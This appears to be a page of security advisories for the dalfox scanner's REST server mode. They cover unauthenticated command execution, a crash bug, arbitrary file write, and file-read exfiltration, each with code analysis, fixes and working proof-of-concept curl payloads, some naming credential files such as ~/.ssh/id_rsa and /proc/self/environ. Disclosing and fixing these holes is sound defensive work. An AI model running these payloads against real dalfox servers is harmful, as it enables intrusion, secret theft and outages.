prevents unauthenticated access to the API entirely; Option 1 ensures that even trusted API callers cannot leverage the server to read files from the host filesystem. ##Credit Emmanuel David Github:- https://github.com/drmingler |
- risk 0.59cvss —epss —
# GHSA: Unauthenticated Remote Code Execution via `found-action` in Dalfox Server Mode ## Summary When dalfox is started in REST API server mode (`dalfox server`), the server binds to `0.0.0.0:6664` by default and requires no API key unless the operator explicitly passes `--api-key`. Because `model.Options` — including `FoundAction` and `FoundActionShell` — is deserialized directly from attacker-supplied JSON in `POST /scan`, and because `dalfox.Initialize` explicitly propagates those two fields into the final scan options without stripping them, any unauthenticated caller who can reach the server port can supply an arbitrary shell command that the dalfox process will execute on the host whenever a scan finding is triggered. ## Severity **Critical** (CVSS 3.1: 10.0) `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H` - **Attack Vector:** Network — the server binds to `0.0.0.0` by default; reachable by any network peer. - **Attack Complexity:** Low — the attacker fully controls the scanned URL and can trivially host a one-line reflective server to guarantee a finding is triggered. - **Privileges Required:** None — no API key is enforced in the default configuration. - **User Interaction:** None. - **Scope:** Changed — exploitation escapes the dalfox process boundary and executes arbitrary commands on the host OS. - **Confidentiality Impact:** High — full read access to the host filesystem and secrets in the process environment. - **Integrity Impact:** High — arbitrary file writes, code deployment, persistence mechanisms. - **Availability Impact:** High — process kill, resource exhaustion, service disruption. ## Affected Component - `cmd/server.go` — `init()` (line 51): `--api-key` defaults to `""` - `pkg/server/server.go` — `setupEchoServer()` (line 68): auth middleware only registered when `APIKey != ""` - `pkg/server/server.go` — `postScanHandler()` (lines 173–191): `rq.Options` passed to `ScanFromAPI` without sanitization - `lib/func.go` — `Initialize()` (lines 118–119): `FoundAction` / `FoundActionShell` explicitly propagated from caller options - `pkg/scanning/foundaction.go` — `foundAction()` (lines 17–18): `exec.Command(options.FoundActionShell, "-c", afterCmd)` executed unconditionally ## CWE - **CWE-306**: Missing Authentication for Critical Function - **CWE-78**: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection') - **CWE-15**: External Control of System or Configuration Setting ## Description ### Opt-in Authentication with a Dangerous Default `cmd/server.go` registers the `--api-key` flag with an empty string default: ```go // cmd/server.go:51 serverCmd.Flags().StringVar(&apiKey, "api-key", "", "Specify the API key for server authentication...") ``` `setupEchoServer` only installs the `apiKeyAuth` middleware when that value is non-empty: ```go // pkg/server/server.go:68-70 if options.ServerType == "rest" && options.APIKey != "" { e.Use(apiKeyAuth(options.APIKey, options)) } ``` A server started without `--api-key` accepts every request on every route with no challenge. The `apiKeyAuth` implementation itself is correct — the flaw is purely in the opt-in condition that makes authentication off by default. ### Attacker-Controlled `Options` Reaches Shell Execution Without Stripping `POST /scan` deserializes the full `model.Options` struct from the JSON body: ```go // pkg/server/model.go:6-8 type Req struct { URL string `json:"url"` Options model.Options `json:"options"` } // pkg/server/server.go:173-191 rq := new(Req) if err := c.Bind(rq); err != nil { ... } go ScanFromAPI(rq.URL, rq.Options, *options, sid) ``` `model.Options` exposes both execution-control fields as JSON-tagged properties: ```go // pkg/model/options.go:83-84 FoundAction string `json:"found-action,omitempty"` FoundActionShell string `json:"found-action-shell,omitempty"` ``` `ScanFromAPI` builds the scan target directly from `rqOptions` and passes it to `dalfox.Initialize`: ```go // pkg/server/scan.go:22-27 target := dalfox.Target{ URL: url, Method: rqOptions.Method, Options: rqOptions, } newOptions := dalfox.Initialize(target, target.Options) ``` `Initialize` explicitly copies both fields into `newOptions` — there is no stripping path: ```go // lib/func.go:118-119 "FoundAction": {&newOptions.FoundAction, options.FoundAction}, "FoundActionShell": {&newOptions.FoundActionShell, options.FoundActionShell}, ``` ### Shell Execution on Any Finding `foundAction` is called from seven locations across `pkg/scanning/scanning.go` and `pkg/scanning/sendReq.go` whenever `options.FoundAction != ""` and any vulnerability is detected. None of these call sites check `options.IsAPI`: ```go // pkg/scanning/foundaction.go:12-18 func foundAction(options model.Options, target, query, ptype string) { afterCmd := options.FoundAction afterCmd = strings.ReplaceAll(afterCmd, "@@query@@", query) afterCmd = strings.ReplaceAll(afterCmd, "@@target@@", target) afterCmd = strings.ReplaceAll(afterCmd, "@@type@@", ptype) cmd := exec.Command(options.FoundActionShell, "-c", afterCmd) err := cmd.Run() ... } ``` Because the attacker supplies both the scan target URL and `found-action`, they trivially guarantee that a finding is produced (by hosting a one-line reflective server) and that the shell command is executed. ## Proof of Concept ```bash # Step 1 — Start a reflective XSS target (attacker-controlled) python3 - <<'PY' from http.server import BaseHTTPRequestHandler, HTTPServer from urllib.parse import urlparse, parse_qs class H(BaseHTTPRequestHandler): def do_GET(self): q = parse_qs(urlparse(self.path).query).get('q', [''])[0] body = f'<html><body>{q}</body></html>'.encode() self.send_response(200) self.send_header('Content-Type', 'text/html') self.send_header('Content-Length', str(len(body))) self.end_headers() self.wfile.write(body) def log_message(self, *a): pass HTTPServer(('127.0.0.1', 18081), H).serve_forever() PY # Step 2 — Start dalfox in REST server mode (default: 0.0.0.0:6664, no API key) go run . server --host 127.0.0.1 --port 16664 --type rest # Step 3 — POST unauthenticated scan request with found-action payload curl -s -X POST http://127.0.0.1:16664/scan \ -H 'Content-Type: application/json' \ --data '{ "url": "http://127.0.0.1:18081/?q=test", "options": { "found-action": "echo owned >/tmp/dalfox_rce_marker", "found-action-shell": "bash", "use-headless": false, "worker": 1, "limit-result": 1 } }' # Step 4 — Confirm arbitrary command executed on the dalfox host cat /tmp/dalfox_rce_marker # Expected output: owned ``` No `X-API-KEY` header is required. The reflective server ensures dalfox finds a vulnerability, which triggers `foundAction`. ## Impact - **Unauthenticated remote code execution** on any host running `dalfox server` in its default configuration. - Full read access to secrets, configuration files, and credentials visible to the dalfox process. - Arbitrary file writes: persistence, backdoor installation, data exfiltration staging. - Lateral movement using the dalfox host's network position and credentials. - The default `0.0.0.0` bind address means exposure to all network interfaces, including public-facing ones in misconfigured cloud environments. ## Recommended Remediation ### Option 1: Require API key — make `--api-key` mandatory (preferred) Reject server startup when no API key is provided and emit a loud warning. This is the lowest-risk fix because it protects all current and future routes without code changes to the scan path. ```go // cmd/server.go — in runServerCmd, before starting the server: if serverType == "rest" && apiKey == "" { fmt.Fprintln(os.Stderr, "ERROR: --api-key is required when running in REST server mode.") fmt.Fprintln(os.Stderr, " Generate a key with: openssl rand -hex 32") os.Exit(1) } ``` ### Option 2: Strip `FoundAction` / `FoundActionShell` from API-sourced requests Prevent untrusted callers from setting execution-control options regardless of auth state. This adds defence-in-depth and protects authenticated deployments against credential theft. ```go // pkg/server/server.go — in postScanHandler, before calling ScanFromAPI: rq.Options.FoundAction = "" rq.Options.FoundActionShell = "" ``` Both options should be applied together. Option 1 prevents unauthenticated access; Option 2 ensures that even authenticated callers (who may be external consumers of the REST API) cannot trigger host-level command execution. ##Credit Emmanuel David Github:- https://github.com/drmingler
- risk 0.45cvss —epss —
## Summary `ParameterAnalysis` in `pkg/scanning/parameterAnalysis.go` runs two sequential worker stages that both write to the same `results` channel. The channel is correctly closed after the first stage completes (`close(results)` at line 438), but the second stage — which processes POST-body parameters (`dp`) — is then launched with the same already-closed channel as its output. When a scanned parameter is reflected, `processParams` executes `results <- paramResult` on the closed channel, triggering a Go runtime panic that crashes the entire dalfox process. In server mode, the crash is remotely triggerable by any unauthenticated caller who can reach the REST API, because the default configuration has no API key and the second stage activates whenever `options.Data != ""` (i.e., the attacker supplies the `data` field) and the target reflects at least one parameter. ## Severity **High** (CVSS 3.1: 7.5) `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H` - **Attack Vector:** Network — server binds to `0.0.0.0:6664` by default; reachable by any network peer. - **Attack Complexity:** Low — the attacker controls both trigger conditions: the `data` field that populates the second stage's work queue, and the target URL they point at a reflective server they control. - **Privileges Required:** None — `--api-key` defaults to `""`, so no auth middleware is registered. - **User Interaction:** None. - **Scope:** Unchanged — a goroutine panic without a `recover` terminates the entire Go process; the impact stays within the dalfox process authority. - **Confidentiality Impact:** None. - **Integrity Impact:** None. - **Availability Impact:** High — the entire dalfox server process crashes, requiring manual restart. A single well-timed request is sufficient. **Note on PR #917**: Commit `8a424d1` (`fix: resolve data race and nil pointer panic in processParams`) fixed two concurrent-safety bugs in `processParams` — a data race on `paramResult.Chars` and a nil pointer dereference on `resp.Header`. It did **not** fix the closed-channel panic reported here, which is a structural ordering bug in `ParameterAnalysis` itself, not inside `processParams`. ## Affected Component - `pkg/scanning/parameterAnalysis.go` — `ParameterAnalysis()` (lines 436–448): `results` channel closed at line 438, then passed to second-stage `processParams` workers at line 445 - `pkg/scanning/parameterAnalysis.go` — `processParams()` (line 299): `results <- paramResult` panics when `results` is closed ## CWE - **CWE-362**: Concurrent Execution Using Shared Resource with Improper Synchronization ('Race Condition') — channel lifecycle ordering error - **CWE-404**: Improper Resource Shutdown or Release ## Description ### Two-Stage Channel Lifecycle Ordering Error `ParameterAnalysis` allocates a single `results` channel shared by both worker stages: ```go // pkg/scanning/parameterAnalysis.go:397-408 paramsQue := make(chan string, concurrency) results := make(chan model.ParamResult, concurrency) // ← single channel for both stages go func() { for result := range results { // consumer exits when results is closed mutex.Lock() params[result.Name] = result mutex.Unlock() } }() ``` **First stage** (URL parameters in `p`): ```go // lines 410-437 for i := 0; i < concurrency; i++ { wgg.Add(1) go func() { processParams(target, paramsQue, results, options, rl, miningCheckerLine, pLog) wgg.Done() }() } // ... feed paramsQue ... close(paramsQue) wgg.Wait() close(results) // ← line 438: results is now closed; consumer goroutine exits ``` **Second stage** (POST-body parameters in `dp`): ```go // lines 440-448 var wggg sync.WaitGroup paramsDataQue := make(chan string, concurrency) for j := 0; j < concurrency; j++ { wggg.Add(1) go func() { processParams(target, paramsDataQue, results, options, rl, miningCheckerLine, pLog) // ^^^^^^^ — same closed channel wggg.Done() }() } ``` When a second-stage worker finds a reflected parameter, `processParams` sends to the closed channel: ```go // pkg/scanning/parameterAnalysis.go:299 results <- paramResult // panic: send on closed channel ``` A Go runtime panic in a goroutine without a `recover` terminates the entire program. In server mode, this kills the dalfox API server process. ### Trigger Conditions Are Both Attacker-Controlled **Condition 1 — `dp` is non-empty**: `dp` (the POST-body parameter map) is populated in `addParamsFromWordlist` → `setP` whenever `options.Data != ""`: ```go // parameterAnalysis.go:41-45 if options.Data != "" { if dp.Get(name) == "" { dp.Set(name, "") } } ``` The attacker sets `"data": "q=test"` in the JSON body, which propagates through `Initialize` (`lib/func.go:106`). With `"mining-dict": true`, the entire GF-XSS wordlist (hundreds of parameters) flows into `dp`, ensuring the second stage has ample work. **Condition 2 — a parameter is reflected**: `processParams` sends to `results` only when `vrs` (verified reflection) is true (line 252 → line 299). The attacker controls the target URL — they point it at a server they operate that reflects any query parameter, guaranteeing `vrs = true` on the first matching entry from the wordlist. ### PR #917 Fixed Different Bugs Commit `8a424d1` addressed: 1. Data race: concurrent `append(paramResult.Chars, char)` with no mutex → added `charsMu sync.Mutex` 2. Nil pointer: `resp.Header` accessed when `resp == nil` → added `&& resp != nil` guard Neither change touches the channel lifecycle in `ParameterAnalysis`. The closed-channel panic is independent and remains unpatched. ## Proof of Concept ```bash # Step 1 — Attacker-controlled reflective server python3 - <<'PY' from http.server import BaseHTTPRequestHandler, HTTPServer from urllib.parse import urlparse, parse_qs class H(BaseHTTPRequestHandler): def _h(self): qs = parse_qs(urlparse(self.path).query) n = int(self.headers.get('Content-Length', '0')) body = self.rfile.read(n).decode() if n else '' bq = parse_qs(body) v = qs.get('q', [''])[0] or bq.get('q', [''])[0] out = f'<html><body>{v}</body></html>'.encode() self.send_response(200) self.send_header('Content-Type', 'text/html') self.send_header('Content-Length', str(len(out))) self.end_headers() self.wfile.write(out) def do_GET(self): self._h() def do_POST(self): self._h() def log_message(self, *a): pass HTTPServer(('127.0.0.1', 18083), H).serve_forever() PY # Step 2 — Start dalfox REST server (default: no API key) go run . server --host 127.0.0.1 --port 16664 --type rest # Step 3 — Single unauthenticated request terminates the server process curl -s -X POST http://127.0.0.1:16664/scan \ -H 'Content-Type: application/json' \ --data '{ "url": "http://127.0.0.1:18083/?q=test", "options": { "data": "q=test", "mining-dict": true, "use-headless": false, "worker": 1 } }' # Expected: dalfox process exits immediately with: # goroutine N [running]: # panic: send on closed channel # pkg/scanning/parameterAnalysis.go:299 +0x... # Step 4 — Verify server is down curl -s http://127.0.0.1:16664/health # Expected: connection refused ``` No `X-API-KEY` header is required. The reflective server is attacker-controlled and guarantees the `vrs = true` condition that triggers the channel write. ## Impact - **Complete server process crash** on a single unauthenticated POST request — no login, no API key, no special permissions required. - All in-flight scans are lost without results. - The server requires a manual restart; under automated process managers (systemd, Docker `--restart=always`) repeated triggering can create a denial-of-service loop. - The attack requires only network access to port 6664 and a reflective HTTP server reachable by the dalfox instance — both attacker-controlled conditions. ## Recommended Remediation ### Option 1: Allocate a fresh `results` channel for the second stage (preferred) The simplest and most direct fix: give each stage its own channel and consumer. The second stage should not reuse a channel that was created and closed for the first stage. ```go // pkg/scanning/parameterAnalysis.go — replace the second stage block: var wggg sync.WaitGroup paramsDataQue := make(chan string, concurrency) results2 := make(chan model.ParamResult, concurrency) // fresh channel go func() { for result := range results2 { mutex.Lock() params[result.Name] = result mutex.Unlock() } }() for j := 0; j < concurrency; j++ { wggg.Add(1) go func() { processParams(target, paramsDataQue, results2, options, rl, miningCheckerLine, pLog) wggg.Done() }() } // ... feed paramsDataQue ... close(paramsDataQue) wggg.Wait() close(results2) // close after all writers are done ``` ### Option 2: Merge both parameter maps before the single worker stage Process `p` and `dp` entries through a single shared `paramsQue` and `results`, eliminating the two-stage design: ```go // Before the worker loop, merge dp into p (or into a unified queue): for k := range dp { // feed to the same paramsQue along with p entries } // Then run a single close(paramsQue) → wgg.Wait() → close(results) ``` This is a more invasive refactor but removes the structural root cause. The current two-stage design is the fundamental source of the ordering bug. ### Option 3: Add a `recover` in processParams goroutines (stopgap only) Catching the panic prevents the process from crashing but does not fix the lost results or the channel invariant violation. Recommended only as a temporary defensive measure while the channel lifecycle is corrected: ```go go func() { defer func() { if r := recover(); r != nil { printing.DalLog("ERROR", fmt.Sprintf("processParams panic recovered: %v", r), options) } wggg.Done() }() processParams(target, paramsDataQue, results, options, rl, miningCheckerLine, pLog) }() ``` Option 1 is the recommended primary fix. Option 3 should be combined with Option 1, not used as a substitute. ## Credit This vulnerability was discovered and reported by [bugbunny.ai](https://bugbunny.ai).
- risk 0.45cvss —epss —
## Summary When dalfox is run in REST API server mode, the `output`, `output-all`, and `debug` fields in `model.Options` are JSON-tagged and deserialized directly from the attacker's request body, then propagated unchanged through `dalfox.Initialize` into the scan engine's logging path. The logger opens the attacker-supplied path with `os.O_APPEND|os.O_CREATE|os.O_WRONLY` and writes scan log lines to it. Critically, this file write block lives outside the `IsLibrary` guard in `DalLog`, so it executes even in server/library mode where file output was never intended to operate. Because no API key is required in the default configuration, an unauthenticated network caller can create or append to any file writable by the dalfox process on the host filesystem. ## Severity **High** (CVSS 3.1: 8.2) `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:L` - **Attack Vector:** Network — server binds to `0.0.0.0:6664` by default. - **Attack Complexity:** Low — no preconditions; all trigger options (`output`, `output-all`, `debug`) are fully attacker-supplied in the JSON body. - **Privileges Required:** None — `--api-key` defaults to `""`, so the auth middleware is never registered. - **User Interaction:** None. - **Scope:** Unchanged — the file write stays within the dalfox process's OS authority. - **Confidentiality Impact:** None — this is a write-only primitive; no data is returned to the caller. - **Integrity Impact:** High — the attacker has full control over which file path is opened, enabling creation of new files or corruption of existing files anywhere the dalfox process has write permission. While the log content format is semi-fixed, the file path is entirely attacker-determined, making the integrity violation complete with respect to file targeting. - **Availability Impact:** Low — corrupting application configuration files or log files on the host can degrade the availability of other services relying on those files. ## Affected Component - `cmd/server.go` — `init()` (line 51): `--api-key` defaults to `""` — no auth by default - `pkg/server/server.go` — `setupEchoServer()` (line 68): auth middleware only registered when `APIKey != ""` - `pkg/server/server.go` — `postScanHandler()` (lines 173–191): `rq.Options` (including `OutputFile`, `OutputAll`, `Debug`) passed to `ScanFromAPI` without sanitization - `lib/func.go` — `Initialize()` (line 107): `OutputFile` explicitly propagated from caller options; `OutputAll` (line 167) and `Debug` (line 176) likewise - `internal/printing/logger.go` — `DalLog()` (lines 230–244): `os.OpenFile(options.OutputFile, os.O_APPEND|os.O_CREATE|os.O_WRONLY, 0644)` executes outside the `IsLibrary` guard ## CWE - **CWE-306**: Missing Authentication for Critical Function - **CWE-73**: External Control of File Name or Path - **CWE-434**: Unrestricted Upload of File with Dangerous Type (write-path variant) ## Description ### `output`, `output-all`, and `debug` Are Fully Attacker-Controlled `model.Options` exposes all three trigger fields with JSON tags: ```go // pkg/model/options.go:88,85,88 OutputFile string `json:"output,omitempty"` OutputAll bool `json:"output-all,omitempty"` Debug bool `json:"debug,omitempty"` ``` `postScanHandler` binds the entire `Req.Options` from the JSON body and passes it directly to `ScanFromAPI`: ```go // pkg/server/server.go:173-191 rq := new(Req) if err := c.Bind(rq); err != nil { ... } go ScanFromAPI(rq.URL, rq.Options, *options, sid) ``` `Initialize` explicitly copies all three fields into `newOptions`: ```go // lib/func.go:107, 167, 176 "OutputFile": {&newOptions.OutputFile, options.OutputFile}, ... "OutputAll": {&newOptions.OutputAll, options.OutputAll}, ... "Debug": {&newOptions.Debug, options.Debug}, ``` ### The File Write Is Not Guarded by `IsLibrary` `Initialize` always sets `IsLibrary: true` (line 20) and `Silence: true` (line 44) in its returned options — the intent being that the scan engine runs in embedded/library mode during API calls, suppressing terminal I/O. `DalLog` does respect this for stderr output: lines 203–228 route logs to `ScanResult.Logs` (not stderr) when `IsLibrary` is true. However, the file write block at lines 230–244 is positioned **after and outside** that `if-else`: ```go // internal/printing/logger.go mutex.Lock() if options.IsLibrary { options.ScanResult.Logs = append(options.ScanResult.Logs, text) // API path } else { // stderr printing (CLI path) } // ← file write is here, unconditionally — no IsLibrary check if options.OutputFile != "" { var fdtext string if ftext != "" { fdtext = ftext f, err := os.OpenFile(options.OutputFile, os.O_APPEND|os.O_CREATE|os.O_WRONLY, 0644) if err != nil { fmt.Fprintln(os.Stderr, "output file error (file)") } defer f.Close() if _, err := f.WriteString(fdtext + "\n"); err != nil { fmt.Fprintln(os.Stderr, "output file error (write)") } } } mutex.Unlock() ``` The `ftext` variable is populated whenever `allWrite` is true (`options.Debug || options.OutputAll`). Since both are attacker-supplied, both conditions are trivially satisfied. ### What Gets Written Log lines of the form: ``` [*] Starting scan [SID:<id>] / URL: <attacker-supplied-url> [I] Checking BAV [E] connection refused [DEBUG] <internal state> ... ``` The URL appears verbatim in log messages, giving the attacker partial influence over the written content. While the format is not fully arbitrary (fixed prefixes like `[*] `, `[I] `, `[E] `), the **file path is entirely attacker-controlled**. The flags `O_CREATE` (creates the file if absent) and `O_APPEND` (never truncates) mean the attacker can: - Create new files at arbitrary paths - Append log content to existing files (corrupting configs, auth files, cron entries if the line happens to match syntax) ### No Defense at Any Layer The same opt-in API key gap applies here as in all prior findings: ```go // pkg/server/server.go:68-70 if options.ServerType == "rest" && options.APIKey != "" { e.Use(apiKeyAuth(options.APIKey, options)) } ``` There is no path allowlist, no `IsLibrary` guard on the file write, and no stripping of `OutputFile` from API-sourced requests anywhere in the codebase. ## Proof of Concept ```bash # Step 1 — Start dalfox REST server (default: no API key) go run . server --host 127.0.0.1 --port 16664 --type rest # Step 2 — Verify health (unauthenticated) curl -s http://127.0.0.1:16664/health # Expected: {"code":200,"msg":"ok"} # Step 3 — Trigger arbitrary file creation with attacker-controlled path curl -s -X POST http://127.0.0.1:16664/scan \ -H 'Content-Type: application/json' \ --data '{ "url": "http://127.0.0.1:1/?x=1", "options": { "output": "/tmp/dalfox_sink_poc.log", "output-all": true, "debug": true, "use-headless": false } }' # Step 4 — Verify file was created and written to by the dalfox process sleep 2 cat /tmp/dalfox_sink_poc.log # Expected: # [*] Starting scan [SID:...] / URL: http://127.0.0.1:1/?x=1 # [I] Checking BAV # [E] ... ``` No `X-API-KEY` header is required. Replace `/tmp/dalfox_sink_poc.log` with any path writable by the dalfox process: `/var/www/html/injected.txt`, `/etc/cron.d/dalfox`, `~/.ssh/authorized_keys` (appending log lines that won't break key format but pollute the file), etc. ## Impact - **Arbitrary file creation**: The attacker can create files at any path on the dalfox host filesystem accessible to the dalfox process, including web-serving directories, cron drop-in directories, and application config directories. - **Arbitrary file append/corruption**: Existing files can have log-format lines appended, degrading parsers that expect strict formats (sshd_config, crontab, /etc/hosts, application config files). - **Partial content control via URL**: The scan target URL appears verbatim in log output; combined with creative path targeting, this may enable injection into certain file formats. - **No authentication required** in the default deployment. - When dalfox runs under a privileged account (e.g., in a CI pipeline or as root in a container), the blast radius extends to system-wide files. ## Recommended Remediation ### Option 1: Strip filesystem-dangerous fields from API-sourced requests (preferred) Nullify all fields that touch the local filesystem before passing options to `ScanFromAPI`. This is the same remediation recommended for the `found-action` RCE and `custom-payload-file` file-read findings and should be applied as a single consolidated patch: ```go // pkg/server/server.go — in postScanHandler, before ScanFromAPI: rq.Options.OutputFile = "" rq.Options.OutputAll = false // safe to leave user value; file write is blocked by OutputFile="" rq.Options.CustomPayloadFile = "" rq.Options.CustomBlindXSSPayloadFile = "" rq.Options.FoundAction = "" rq.Options.FoundActionShell = "" rq.Options.HarFilePath = "" ``` ### Option 2: Guard the file write with `IsLibrary` in `DalLog` Move the `OutputFile` write block inside the `else` branch so it only executes in non-library (CLI) mode: ```go // internal/printing/logger.go — restructure the if-else: if options.IsLibrary { options.ScanResult.Logs = append(options.ScanResult.Logs, text) } else { // existing stderr printing logic... // file write belongs here, not after the if-else if options.OutputFile != "" && ftext != "" { f, err := os.OpenFile(options.OutputFile, os.O_APPEND|os.O_CREATE|os.O_WRONLY, 0644) ... } } ``` This fix addresses the root structural cause — the file write was intended for CLI mode only, and gating it on `!IsLibrary` matches that intent. Option 1 is still recommended as the primary fix; Option 2 adds defence-in-depth but requires care to not break legitimate CLI usage. ### Option 3: Require `--api-key` at server startup As with the other server-mode findings, making authentication mandatory eliminates the unauthenticated attack surface entirely: ```go // cmd/server.go — in runServerCmd: if serverType == "rest" && apiKey == "" { fmt.Fprintln(os.Stderr, "ERROR: --api-key is required when running in REST server mode.") os.Exit(1) } ``` All three options should be applied together. ##Credit Emmanuel David Github:- https://github.com/drmingler.
- risk 0.45cvss —epss —
## Summary When dalfox is run in REST API server mode, the `custom-payload-file` field in `model.Options` is JSON-tagged and deserialized directly from the attacker's request body, then propagated unchanged through `dalfox.Initialize` into the scan engine. The engine passes the value to `voltFile.ReadLinesOrLiteral`, which reads lines from any file path accessible to the dalfox process and embeds each line as an XSS payload in outbound HTTP requests directed at the attacker-controlled target URL. Because the server has no API key by default, an unauthenticated network attacker can exfiltrate the contents of arbitrary files on the dalfox host by reading them line-by-line through scan traffic. ## Severity **High** (CVSS 3.1: 7.5) `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N` - **Attack Vector:** Network — server binds to `0.0.0.0:6664` by default; reachable by any network peer. - **Attack Complexity:** Low — no preconditions beyond network access; `skip-discovery` and `param` are both attacker-supplied, so the code path is fully under attacker control. - **Privileges Required:** None — `--api-key` defaults to `""`, so the auth middleware is not registered. - **User Interaction:** None. - **Scope:** Unchanged — the file read and the outbound HTTP exfiltration request both originate from the same dalfox process authority. - **Confidentiality Impact:** High — the attacker can read any file the dalfox process can open: private keys, configuration files containing database credentials, environment files, `/etc/passwd`, etc. - **Integrity Impact:** None — this path is read-only. - **Availability Impact:** None. ## Affected Component - `cmd/server.go` — `init()` (line 51): `--api-key` defaults to `""` — no auth by default - `pkg/server/server.go` — `setupEchoServer()` (line 68): auth middleware only registered when `APIKey != ""` - `pkg/server/server.go` — `postScanHandler()` (lines 173–191): `rq.Options` (including `CustomPayloadFile`) passed to `ScanFromAPI` without sanitization - `lib/func.go` — `Initialize()` (line 117): `CustomPayloadFile` explicitly propagated from caller options - `pkg/scanning/scan.go` — anonymous block (lines 341–368): `voltFile.ReadLinesOrLiteral(options.CustomPayloadFile)` reads file; contents injected into outbound requests ## CWE - **CWE-306**: Missing Authentication for Critical Function - **CWE-73**: External Control of File Name or Path - **CWE-552**: Files or Directories Accessible to External Parties ## Description ### `custom-payload-file` Is Fully Attacker-Controlled `model.Options` exposes `CustomPayloadFile` with a JSON tag: ```go // pkg/model/options.go:33 CustomPayloadFile string `json:"custom-payload-file,omitempty"` ``` `postScanHandler` binds the entire `Req.Options` from the JSON body and passes it directly to `ScanFromAPI`: ```go // pkg/server/server.go:173-191 rq := new(Req) if err := c.Bind(rq); err != nil { ... } go ScanFromAPI(rq.URL, rq.Options, *options, sid) ``` `ScanFromAPI` passes `rqOptions` as `target.Options` to `dalfox.Initialize`: ```go // pkg/server/scan.go:22-27 target := dalfox.Target{ URL: url, Method: rqOptions.Method, Options: rqOptions, } newOptions := dalfox.Initialize(target, target.Options) ``` `Initialize` explicitly copies `CustomPayloadFile` into `newOptions` with no filtering: ```go // lib/func.go:117 "CustomPayloadFile": {&newOptions.CustomPayloadFile, options.CustomPayloadFile}, ``` ### File Read and Exfiltration Path In `pkg/scanning/scan.go`, when the scan engine reaches the custom payload phase, it reads the attacker-specified file path: ```go // pkg/scanning/scan.go:341-366 if (options.SkipDiscovery || utils.IsAllowType(policy["Content-Type"])) && options.CustomPayloadFile != "" { ff, err := voltFile.ReadLinesOrLiteral(options.CustomPayloadFile) if err != nil { printing.DalLog("SYSTEM", "Failed to load custom XSS payload file", options) } else { for _, customPayload := range ff { if customPayload != "" { for k, v := range params { if optimization.CheckInspectionParam(options, k) { ... tq, tm := optimization.MakeRequestQuery(target, k, customPayload, "inHTML"+ptype, "toAppend", encoder, options) query[tq] = tm } } } } } } ``` Each line of the file becomes a payload value embedded in a query parameter of an HTTP request sent to the attacker-controlled target URL. `performScanning` then dispatches every entry in the `query` map via `SendReq`, delivering the file's contents to the attacker's server as the value of the nominated parameter (e.g., `?q=<file-line>`). ### Condition Is Trivially Satisfiable The condition `options.SkipDiscovery || utils.IsAllowType(policy["Content-Type"])` is satisfied by setting `skip-discovery: true` in the JSON request body — a field the attacker fully controls. When `SkipDiscovery` is true, the engine also requires at least one parameter via `UniqParam` (the `-p` flag), which the attacker supplies as `param: ["q"]`. The code then hardcodes `policy["Content-Type"] = "text/html"` and populates `params["q"]` automatically: ```go // pkg/scanning/scan.go:224-240 if len(options.UniqParam) == 0 { return scanResult, fmt.Errorf("--skip-discovery requires parameters to be specified with -p flag") } for _, paramName := range options.UniqParam { params[paramName] = model.ParamResult{ Name: paramName, Type: "URL", Reflected: true, Chars: payload.GetSpecialChar(), } } policy["Content-Type"] = "text/html" ``` Both conditions are fully attacker-controlled through the JSON request body. ### No Defense at Any Layer The same opt-in API key guard from the first finding applies identically here: ```go // pkg/server/server.go:68-70 if options.ServerType == "rest" && options.APIKey != "" { e.Use(apiKeyAuth(options.APIKey, options)) } ``` With the default empty API key, no middleware is installed and every endpoint is unauthenticated. There is no path sanitization, no allowlist, and no `IsAPI` guard around the `CustomPayloadFile` read. ## Proof of Concept ```bash # Step 1 — Attacker-controlled receiver (logs q= parameter to stdout) python3 - <<'PY' from http.server import BaseHTTPRequestHandler, HTTPServer from urllib.parse import urlparse, parse_qs class H(BaseHTTPRequestHandler): def do_GET(self): q = parse_qs(urlparse(self.path).query).get('q', [''])[0] print("[RECEIVED] q =", q, flush=True) body = b'<html><body>ok</body></html>' self.send_response(200) self.send_header('Content-Type', 'text/html') self.send_header('Content-Length', str(len(body))) self.end_headers() self.wfile.write(body) def log_message(self, *a): pass HTTPServer(('127.0.0.1', 18081), H).serve_forever() PY # Step 2 — Start dalfox REST server (default: no API key) go run . server --host 127.0.0.1 --port 16664 --type rest # Step 3 — Exfiltrate /etc/hostname (or any file readable by the dalfox process) curl -s -X POST http://127.0.0.1:16664/scan \ -H 'Content-Type: application/json' \ --data '{ "url": "http://127.0.0.1:18081/?q=test", "options": { "custom-payload-file": "/etc/hostname", "only-custom-payload": true, "skip-discovery": true, "param": ["q"], "use-headless": false, "worker": 1 } }' # Expected output on the receiver (Step 1 terminal): # [RECEIVED] q = myhostname.local # For multi-line files (e.g. /etc/passwd), each line arrives as a separate request ``` No `X-API-KEY` header is required. Replace `/etc/hostname` with any file path accessible to the dalfox process (e.g., `~/.ssh/id_rsa`, `/run/secrets/db_password`, `/proc/self/environ`). ## Impact - **Arbitrary file read** on the dalfox host: any file readable by the dalfox process (SSH private keys, TLS certificates, `.env` files, cloud credential files, `/proc/self/environ`) can be exfiltrated one line at a time. - **No authentication required** under the default configuration. - The exfiltration channel is the dalfox host's own outbound HTTP scan traffic — no inbound connection from the attacker to the dalfox host is needed beyond the initial REST API call. - Combined with the `found-action` RCE finding (separate issue), an attacker could first read `/proc/self/environ` to harvest secrets, then execute commands. ## Recommended Remediation ### Option 1: Strip filesystem-dangerous fields from API-sourced requests (preferred) Apply a denylist of fields that should never be accepted from the REST API, regardless of auth state. This protects authenticated deployments against credential-theft or privilege escalation by external API consumers: ```go // pkg/server/server.go — in postScanHandler, before ScanFromAPI: rq.Options.CustomPayloadFile = "" rq.Options.CustomBlindXSSPayloadFile = "" rq.Options.FoundAction = "" rq.Options.FoundActionShell = "" rq.Options.OutputFile = "" rq.Options.HarFilePath = "" ``` ### Option 2: Require `--api-key` at server startup Make authentication mandatory and refuse to start without it: ```go // cmd/server.go — in runServerCmd: if serverType == "rest" && apiKey == "" { fmt.Fprintln(os.Stderr, "ERROR: --api-key is required when running in REST server mode.") os.Exit(1) } ``` Both options should be applied together. Option 2 prevents unauthenticated access to the API entirely; Option 1 ensures that even trusted API callers cannot leverage the server to read files from the host filesystem. ##Credit Emmanuel David Github:- https://github.com/drmingler